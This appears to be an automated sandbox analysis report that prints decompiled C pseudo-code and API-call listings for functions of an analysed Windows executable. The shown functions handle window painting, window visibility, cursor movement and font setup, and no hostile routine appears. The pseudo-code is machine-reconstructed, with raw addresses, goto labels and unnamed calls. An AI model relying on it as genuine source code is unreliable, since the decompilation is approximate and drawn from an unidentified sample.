                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcscpy$_wcscat
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2037614760-0
                                                                                                                                                                            • Opcode ID: 8ee05e7d77ed43b02f9db903f318dc2f2ee0ef93a87b48a294f728d274a9a472
                                                                                                                                                                            • Instruction ID: 871aa96d6b0d5f43eceffdadd72b032f7becd6ba50fbda5e2bca5dd503650597
                                                                                                                                                                            • Opcode Fuzzy Hash: 8ee05e7d77ed43b02f9db903f318dc2f2ee0ef93a87b48a294f728d274a9a472
                                                                                                                                                                            • Instruction Fuzzy Hash: 7D41BD31901A256BDE317F55D880BBB7358DFA1314F84006FF98247313EA6E5892C6BE
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00447B66 Relevance: 9.1, APIs: 6, Instructions: 119COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 94%
                                                                                                                                                                            			E00447B66(void* __fp0, intOrPtr _a4) {
				struct tagPAINTSTRUCT _v68;
				struct tagRECT _v84;
				struct tagPOINT _v92;
				struct HWND__** _v104;
				void* _v140;
				void* __edi;
				void* __ebp;
				signed int _t32;
				signed int _t37;
				signed int _t38;
				struct HWND__** _t45;
				struct HWND__* _t46;
				void* _t51;
				struct HWND__** _t55;
				struct HWND__* _t57;
				intOrPtr _t59;
				struct HDC__* _t73;
				struct HWND__* _t76;
				signed int _t78;
				void* _t80;
				void* _t91;

				_t91 = __fp0;
				_t80 = (_t78 & 0xfffffff8) - 0x5c;
				_t32 = E004340B2(_a4, 0x4a83d8, _a4);
				_t59 =  *0x4a8438; // 0x0
				_t55 =  *( *(_t59 + _t32 * 4));
				_t76 = _t55[0x6f];
				_v104 = _t55;
				_t73 = BeginPaint( *_t55,  &(_v84.right));
				while(_t76 != 0) {
					_t37 =  *(_t76 + 8);
					if(( *(_t37 + 0x8a) & 0x00000010) == 0 ||  *(_t37 + 0x8b) != 0xff) {
						if(( *(_t37 + 0x8b) & 0x000000ff) == _t55[0x61]) {
							goto L5;
						}
					} else {
						L5:
						_t38 = _t37 | 0xffffffff;
						 *0x4a849c = _t38;
						 *0x4a84a0 = _t38;
						 *0x4a8494 = 0;
						 *0x4a8490 = 0;
						 *0x4a848c = 0;
						 *0x4a8498 = 1;
						GetWindowRect( *( *(_t76 + 8)),  &_v84);
						_v92.x = _v84.left;
						_v92.y = _v84.top;
						ScreenToClient( *_t55,  &_v92);
						SetViewportOrgEx(_t73, _v92, _v92.y, 0);
						_t45 =  *(_t76 + 8);
						_t57 = _t45[0x11];
						_t46 = _t45[0x12];
						if(_t57 < 0) {
							L8:
							if(_t46 != 0xffffffff || _t57 >= 0) {
								goto L10;
							}
						} else {
							if(_t46 != 0xffffffff) {
								L10:
								E0044710F(_t73, _t46, _t57, 0, 1);
								Rectangle(_t73, 0, 0, ( *(_t76 + 8))[0x21], ( *(_t76 + 8))[0x21]);
								E0043315E(_t73, _t57);
							} else {
								_t46 = _t57;
								goto L8;
							}
						}
						_t51 = E004472C8(_t91, _t73, _t76);
						E004476CA(_t73, _t73, _t76);
						if(_t51 != 0) {
							_push(_t76);
							_push(_t73);
							E00447579();
						}
						_t55 =  *(_t80 + 0xc);
					}
					_t76 = _t76->i;
				}
				return EndPaint( *_t55,  &_v68);
			}
























                                                                                                                                                                            0x00447b66
                                                                                                                                                                            0x00447b6c
                                                                                                                                                                            0x00447b7b
                                                                                                                                                                            0x00447b80
                                                                                                                                                                            0x00447b89
                                                                                                                                                                            0x00447b8d
                                                                                                                                                                            0x00447b99
                                                                                                                                                                            0x00447ba3
                                                                                                                                                                            0x00447ba7
                                                                                                                                                                            0x00447bb6
                                                                                                                                                                            0x00447bc0
                                                                                                                                                                            0x00447bd8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00447bde
                                                                                                                                                                            0x00447bde
                                                                                                                                                                            0x00447bde
                                                                                                                                                                            0x00447be1
                                                                                                                                                                            0x00447be6
                                                                                                                                                                            0x00447beb
                                                                                                                                                                            0x00447bf2
                                                                                                                                                                            0x00447bfc
                                                                                                                                                                            0x00447c06
                                                                                                                                                                            0x00447c1b
                                                                                                                                                                            0x00447c2d
                                                                                                                                                                            0x00447c35
                                                                                                                                                                            0x00447c39
                                                                                                                                                                            0x00447c4c
                                                                                                                                                                            0x00447c52
                                                                                                                                                                            0x00447c55
                                                                                                                                                                            0x00447c58
                                                                                                                                                                            0x00447c5d
                                                                                                                                                                            0x00447c66
                                                                                                                                                                            0x00447c69
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00447c5f
                                                                                                                                                                            0x00447c62
                                                                                                                                                                            0x00447c6f
                                                                                                                                                                            0x00447c76
                                                                                                                                                                            0x00447c93
                                                                                                                                                                            0x00447c9b
                                                                                                                                                                            0x00447c64
                                                                                                                                                                            0x00447c64
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00447c64
                                                                                                                                                                            0x00447c62
                                                                                                                                                                            0x00447ca2
                                                                                                                                                                            0x00447cab
                                                                                                                                                                            0x00447cb2
                                                                                                                                                                            0x00447cb4
                                                                                                                                                                            0x00447cb5
                                                                                                                                                                            0x00447cb6
                                                                                                                                                                            0x00447cb6
                                                                                                                                                                            0x00447cbb
                                                                                                                                                                            0x00447cbb
                                                                                                                                                                            0x00447cbf
                                                                                                                                                                            0x00447cc1
                                                                                                                                                                            0x00447cdd

                                                                                                                                                                            APIs
                                                                                                                                                                            • BeginPaint.USER32(00000000,?,004A83D8,?), ref: 00447B9D
                                                                                                                                                                            • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                                                                                                            • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                                                                                                            • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                                                                                                            • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                                                                                                            • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Paint$BeginClientRectRectangleScreenViewportWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4189319755-0
                                                                                                                                                                            • Opcode ID: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                                                                                                            • Instruction ID: de699fe3e67e71f806f86ee7feca1bcffcb0489daa19151882f3061068cc4b26
                                                                                                                                                                            • Opcode Fuzzy Hash: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                                                                                                            • Instruction Fuzzy Hash: D14182705043019FE320DF15C8C8F7B7BA8EB89724F04466EF9548B391DB74A846CB69
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00441077 Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00441077() {
				struct HWND__*** _t56;
				struct HWND__** _t57;
				struct HWND__** _t63;
				struct HWND__*** _t65;
				struct HWND__** _t66;
				struct HWND__** _t69;
				signed char _t80;
				signed int _t90;
				signed int _t91;
				intOrPtr _t92;
				intOrPtr _t93;
				void* _t94;

				_t93 =  *((intOrPtr*)(_t94 + 0x10));
				_t92 =  *((intOrPtr*)(_t94 + 0x10));
				 *((intOrPtr*)(_t94 + 0x18)) =  *((intOrPtr*)(_t93 + 4));
				if( *(_t93 + 0x184) ==  *(_t94 + 0x1c)) {
					L14:
					_t90 = 3;
					if( *((intOrPtr*)(_t92 + 0x84)) < 3) {
						L25:
						return SendMessageW( *(_t93 + 0x17c), 0x130c,  *(_t94 + 0x1c), 0);
					} else {
						do {
							_t56 =  *( *((intOrPtr*)(_t92 + 0x74)) + _t90 * 4);
							if( *_t56 != 0) {
								_t57 =  *_t56;
								if(_t57[1] ==  *((intOrPtr*)(_t94 + 0x18)) && _t57[0x22] != 0xb && (_t57[0x22] & 0x000000ff) ==  *(_t93 + 0x184) && (_t57[0x22] & 0x00000020) == 0) {
									ShowWindow( *_t57, 0);
									ShowWindow( *( *( *( *((intOrPtr*)(_t92 + 0x74)) + _t90 * 4))), 4);
									_t63 =  *( *( *((intOrPtr*)(_t92 + 0x74)) + _t90 * 4));
									if((_t63[0x22] & 0x00000040) != 0 && _t63[0x22] == 0x1a) {
										EnableWindow( *_t63, 1);
									}
								}
							}
							_t90 = _t90 + 1;
						} while (_t90 <=  *((intOrPtr*)(_t92 + 0x84)));
						goto L25;
					}
				}
				_t91 = 3;
				if( *((intOrPtr*)(_t92 + 0x84)) < 3) {
					L13:
					 *(_t93 + 0x184) =  *(_t94 + 0x1c);
					goto L14;
				} else {
					goto L2;
				}
				do {
					L2:
					_t65 =  *( *((intOrPtr*)(_t92 + 0x74)) + _t91 * 4);
					if( *_t65 != 0) {
						_t66 =  *_t65;
						if(_t66[1] ==  *((intOrPtr*)(_t94 + 0x18)) && _t66[0x22] != 0xb) {
							_t80 = _t66[0x22];
							if((_t80 & 0x000000ff) ==  *(_t93 + 0x184) ||  *((char*)(_t93 + 0x18c)) != 0 && _t80 != 0xff && _t66[0x22] != 0xa) {
								ShowWindow( *_t66, 0);
								_t69 =  *( *( *((intOrPtr*)(_t92 + 0x74)) + _t91 * 4));
								if((_t69[0x22] & 0x00000040) != 0 && _t69[0x22] == 0x1a) {
									EnableWindow( *_t69, 0);
								}
							}
						}
					}
					_t91 = _t91 + 1;
				} while (_t91 <=  *((intOrPtr*)(_t92 + 0x84)));
				goto L13;
			}















                                                                                                                                                                            0x0044107f
                                                                                                                                                                            0x0044108d
                                                                                                                                                                            0x00441092
                                                                                                                                                                            0x0044109a
                                                                                                                                                                            0x00441133
                                                                                                                                                                            0x00441133
                                                                                                                                                                            0x0044113e
                                                                                                                                                                            0x004411c2
                                                                                                                                                                            0x004411df
                                                                                                                                                                            0x00441147
                                                                                                                                                                            0x00441147
                                                                                                                                                                            0x0044114a
                                                                                                                                                                            0x00441150
                                                                                                                                                                            0x00441152
                                                                                                                                                                            0x0044115b
                                                                                                                                                                            0x00441183
                                                                                                                                                                            0x00441192
                                                                                                                                                                            0x0044119a
                                                                                                                                                                            0x004411a3
                                                                                                                                                                            0x004411b3
                                                                                                                                                                            0x004411b3
                                                                                                                                                                            0x004411a3
                                                                                                                                                                            0x0044115b
                                                                                                                                                                            0x004411b9
                                                                                                                                                                            0x004411ba
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00441147
                                                                                                                                                                            0x0044113e
                                                                                                                                                                            0x004410a0
                                                                                                                                                                            0x004410ab
                                                                                                                                                                            0x00441129
                                                                                                                                                                            0x0044112d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004410ad
                                                                                                                                                                            0x004410ad
                                                                                                                                                                            0x004410b0
                                                                                                                                                                            0x004410b6
                                                                                                                                                                            0x004410b8
                                                                                                                                                                            0x004410c1
                                                                                                                                                                            0x004410cc
                                                                                                                                                                            0x004410db
                                                                                                                                                                            0x004410f9
                                                                                                                                                                            0x00441101
                                                                                                                                                                            0x0044110a
                                                                                                                                                                            0x0044111a
                                                                                                                                                                            0x0044111a
                                                                                                                                                                            0x0044110a
                                                                                                                                                                            0x004410db
                                                                                                                                                                            0x004410c1
                                                                                                                                                                            0x00441120
                                                                                                                                                                            0x00441121
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 004410F9
                                                                                                                                                                            • EnableWindow.USER32(?,00000000), ref: 0044111A
                                                                                                                                                                            • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 00441183
                                                                                                                                                                            • ShowWindow.USER32(?,00000004,?,?,?,00448962,004A83D8,?,?), ref: 00441192
                                                                                                                                                                            • EnableWindow.USER32(?,00000001), ref: 004411B3
                                                                                                                                                                            • SendMessageW.USER32(?,0000130C,?,00000000), ref: 004411D5
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$Show$Enable$MessageSend
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 642888154-0
                                                                                                                                                                            • Opcode ID: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                                                                                            • Instruction ID: 824eeaafe1f931a994963cd163acc5b0ce47b26168a6fd4ee38d593e4569daee
                                                                                                                                                                            • Opcode Fuzzy Hash: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                                                                                            • Instruction Fuzzy Hash: 14417770604245DFE725CF14C984FA6B7E5BF89300F1886AEE6859B3B2CB74A881CB55
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00442582 Relevance: 9.1, APIs: 6, Instructions: 104COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 62%
                                                                                                                                                                            			E00442582(void* __fp0, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				struct tagRECT _v32;
				char _v36;
				char _v40;
				char _v44;
				intOrPtr _v48;
				char _t66;
				intOrPtr _t68;
				intOrPtr _t72;
				void* _t92;
				void* _t98;
				signed int _t100;
				void* _t102;
				void* _t103;

				_t107 = __fp0;
				_t102 = (_t100 & 0xfffffff8) - 0x2c;
				_t72 = _a16;
				E004344B7( *((intOrPtr*)(_a4 + 0x100)),  &_v36, GetForegroundWindow());
				GetWindowRect(GetDesktopWindow(),  &_v32);
				asm("cdq");
				asm("cdq");
				_t98 = (_a8 + _v48 + 1 << 0x10) / _v32.right - 1;
				_t92 = (_a12 + _v44 + 1 << 0x10) / _v32.bottom - 1;
				if(_t72 != 0) {
					if(__eflags <= 0) {
						L6:
						_t72 = 0xa;
						L7:
						GetCursorPos( &(_v32.top));
						asm("cdq");
						_v40 = _v32.top.x * 0xffff / (_v12 - 1) + 1;
						asm("cdq");
						_t66 = _v32.right * 0xffff / (_v8 - 1) + 1;
						__eflags = _t66;
						_v44 = _t66;
						while(1) {
							_t68 = E0043634E(_t98, _t92, _t72, 0x20,  &_v40,  &_v44);
							_t103 = _t102 + 0x18;
							__eflags = _t68;
							if(_t68 == 0) {
								break;
							}
							E00436272( *0x482560(0x8001, _v40, _v44, 0, 0), _t107, 0xa);
							_t102 = _t103 + 4;
						}
						L3:
						return _t68;
					}
					__eflags = _t72 - 0x64;
					if(_t72 <= 0x64) {
						goto L7;
					}
					goto L6;
				}
				_t68 =  *0x482560(0x8001, _t98, _t92, _t72, _t72);
				if(_a20 != _t72) {
					_t68 = E00436272(_t68, __fp0, 0xa);
				}
				goto L3;
			}


















                                                                                                                                                                            0x00442582
                                                                                                                                                                            0x00442588
                                                                                                                                                                            0x0044258c
                                                                                                                                                                            0x004425ad
                                                                                                                                                                            0x004425c6
                                                                                                                                                                            0x004425d2
                                                                                                                                                                            0x004425df
                                                                                                                                                                            0x004425e4
                                                                                                                                                                            0x004425e7
                                                                                                                                                                            0x004425ea
                                                                                                                                                                            0x00442613
                                                                                                                                                                            0x0044261a
                                                                                                                                                                            0x0044261a
                                                                                                                                                                            0x0044261f
                                                                                                                                                                            0x00442624
                                                                                                                                                                            0x0044263b
                                                                                                                                                                            0x00442646
                                                                                                                                                                            0x00442654
                                                                                                                                                                            0x00442657
                                                                                                                                                                            0x00442657
                                                                                                                                                                            0x00442658
                                                                                                                                                                            0x00442662
                                                                                                                                                                            0x00442671
                                                                                                                                                                            0x00442676
                                                                                                                                                                            0x00442679
                                                                                                                                                                            0x0044267b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442698
                                                                                                                                                                            0x0044269d
                                                                                                                                                                            0x0044269d
                                                                                                                                                                            0x0044260a
                                                                                                                                                                            0x00442610
                                                                                                                                                                            0x00442610
                                                                                                                                                                            0x00442615
                                                                                                                                                                            0x00442618
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00442618
                                                                                                                                                                            0x004425f5
                                                                                                                                                                            0x004425fe
                                                                                                                                                                            0x00442602
                                                                                                                                                                            0x00442607
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetForegroundWindow.USER32 ref: 00442597
                                                                                                                                                                              • Part of subcall function 004344B7: GetWindowRect.USER32(?,?), ref: 004344D3
                                                                                                                                                                            • GetDesktopWindow.USER32 ref: 004425BF
                                                                                                                                                                            • GetWindowRect.USER32(00000000), ref: 004425C6
                                                                                                                                                                            • mouse_event.USER32(00008001,?,?,?,?), ref: 004425F5
                                                                                                                                                                              • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                            • GetCursorPos.USER32(?), ref: 00442624
                                                                                                                                                                            • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00442690
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4137160315-0
                                                                                                                                                                            • Opcode ID: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                                                                                            • Instruction ID: 1581b522c3ee05a339ffa1fd07f9e8cd23967deed6539873686ea33d82c69dd2
                                                                                                                                                                            • Opcode Fuzzy Hash: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                                                                                            • Instruction Fuzzy Hash: 7C31C1B2104306ABD310DF54CD85E6BB7E9FB98304F004A2EF94597281E675E9058BA6
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00441561 Relevance: 9.1, APIs: 6, Instructions: 101windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 58%
                                                                                                                                                                            			E00441561() {
				void* _t25;
				signed int _t27;
				int _t37;
				void* _t45;
				struct HWND__* _t46;
				signed int _t64;
				int _t66;
				struct HWND__** _t67;
				void* _t68;

				_t67 =  *(_t68 + 0x14);
				_t64 =  *(_t68 + 0x28);
				 *(_t68 + 0x28) =  *_t67;
				_t25 = _t67[0x10];
				if(_t25 != 0) {
					DeleteObject(_t25);
				}
				_t45 =  *0x4825f0(0);
				_t27 =  *0x48211c(_t45, 0x5a);
				 *0x4825ec(0, _t45);
				_t37 = CreateFontW(((0x49f49f49 * _t27 *  *(_t68 + 0x24) >> 0x20) - _t27 *  *(_t68 + 0x24) >> 9 >> 0x1f) + ((0x49f49f49 * _t27 *  *(_t68 + 0x24) >> 0x20) - _t27 *  *(_t68 + 0x24) >> 9), 0, 0, 0,  *(_t68 + 0x34), _t64 & 0x00000002, _t64 & 0x00000004, _t64 & 0x00000008, 1, 4, 0,  *(_t68 + 0x30), 0,  *( *(_t68 + 0x20)));
				_t46 =  *(_t68 + 0x2c);
				_t66 = _t37;
				SendMessageW(_t46, 0x30, _t66, 1);
				if(_t67[0x22] == 1 &&  *(_t68 + 0x34) != 0) {
					MoveWindow( *_t67, _t67[0x20], _t67[0x20], _t67[0x21], _t67[0x21], 0);
				}
				if(_t67[0x22] == 0 &&  *(_t68 + 0x34) != 0) {
					SendMessageW(_t46, 0x142, 0, 0);
				}
				_t67[0x10] = _t66;
				return E0043401C( *((intOrPtr*)(_t68 + 0x18)), _t67, 1);
			}












                                                                                                                                                                            0x00441564
                                                                                                                                                                            0x0044156c
                                                                                                                                                                            0x00441570
                                                                                                                                                                            0x00441574
                                                                                                                                                                            0x0044157a
                                                                                                                                                                            0x0044157d
                                                                                                                                                                            0x0044157d
                                                                                                                                                                            0x0044158b
                                                                                                                                                                            0x00441590
                                                                                                                                                                            0x0044159b
                                                                                                                                                                            0x004415e9
                                                                                                                                                                            0x004415ef
                                                                                                                                                                            0x004415fb
                                                                                                                                                                            0x00441601
                                                                                                                                                                            0x0044160a
                                                                                                                                                                            0x00441639
                                                                                                                                                                            0x00441639
                                                                                                                                                                            0x00441646
                                                                                                                                                                            0x00441659
                                                                                                                                                                            0x00441659
                                                                                                                                                                            0x00441663
                                                                                                                                                                            0x00441670

                                                                                                                                                                            APIs
                                                                                                                                                                            • DeleteObject.GDI32(?), ref: 0044157D
                                                                                                                                                                            • 72E5AC50.USER32(00000000,?,?,?,?,?,0045193C,?,?,?,?,000000FF,?,?,00000001,?), ref: 00441585
                                                                                                                                                                            • CreateFontW.GDI32(?,00000000,00000000,00000000,?,000000FF,000000FF,000000FF,00000001,00000004,00000000,?,00000000,00000000), ref: 004415E9
                                                                                                                                                                            • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00441601
                                                                                                                                                                            • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00441639
                                                                                                                                                                            • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00441659
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$CreateDeleteFontMoveObjectWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3202464795-0
                                                                                                                                                                            • Opcode ID: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                                                                                            • Instruction ID: 4e191e68d33858d232da06d8f8bca50b2e2c885119a5133d865ec5329e905ca2
                                                                                                                                                                            • Opcode Fuzzy Hash: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                                                                                            • Instruction Fuzzy Hash: 1531C172240344BBE7208B14CD49FAB77EDEB88B15F08450DFB44AA2D1DAB4ED808B64
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043609C Relevance: 9.1, APIs: 6, Instructions: 59COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0043609C(void* __eflags, struct HDC__* _a4, intOrPtr _a8, signed int _a12) {
				void* _t12;
				long _t15;
				int _t16;
				long _t19;
				void* _t21;
				signed int _t22;
				void* _t23;
				struct tagSIZE* _t24;
				intOrPtr _t25;
				WCHAR* _t26;
				long _t27;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t31;

				_t25 = _a8;
				_t24 = _a12;
				_t27 = 0;
				_a12 = 1;
				_t22 = 0;
				_t12 = E004112D5(_t25);
				_t29 = _t28 + 4;
				if(_t12 > 0) {
					do {
						if( *((short*)(_t25 + _t22 * 2)) == 0xa) {
							_a12 = _a12 + 1;
						}
						_t22 = _t22 + 1;
						_t21 = E004112D5(_t25);
						_t29 = _t29 + 4;
						_t36 = _t22 - _t21;
					} while (_t22 < _t21);
				}
				_t26 = E004142A3(_t23, _t36, _t25, L"\r\n");
				_t30 = _t29 + 8;
				while(_t26 != 0) {
					_t16 = E004112D5(_t26);
					_t31 = _t30 + 4;
					GetTextExtentPoint32W(_a4, _t26, _t16, _t24);
					_t19 = _t24->cx;
					_t38 = _t19 - _t27;
					if(_t19 > _t27) {
						_t27 = _t19;
					}
					_t26 = E004142A3(_t23, _t38, 0, L"\r\n");
					_t30 = _t31 + 8;
				}
				_t15 = _t24->cy * _a12;
				_t24->cx = _t27;
				_t24->cy = _t15;
				return _t15;
			}


















                                                                                                                                                                            0x0043609f
                                                                                                                                                                            0x004360a4
                                                                                                                                                                            0x004360a9
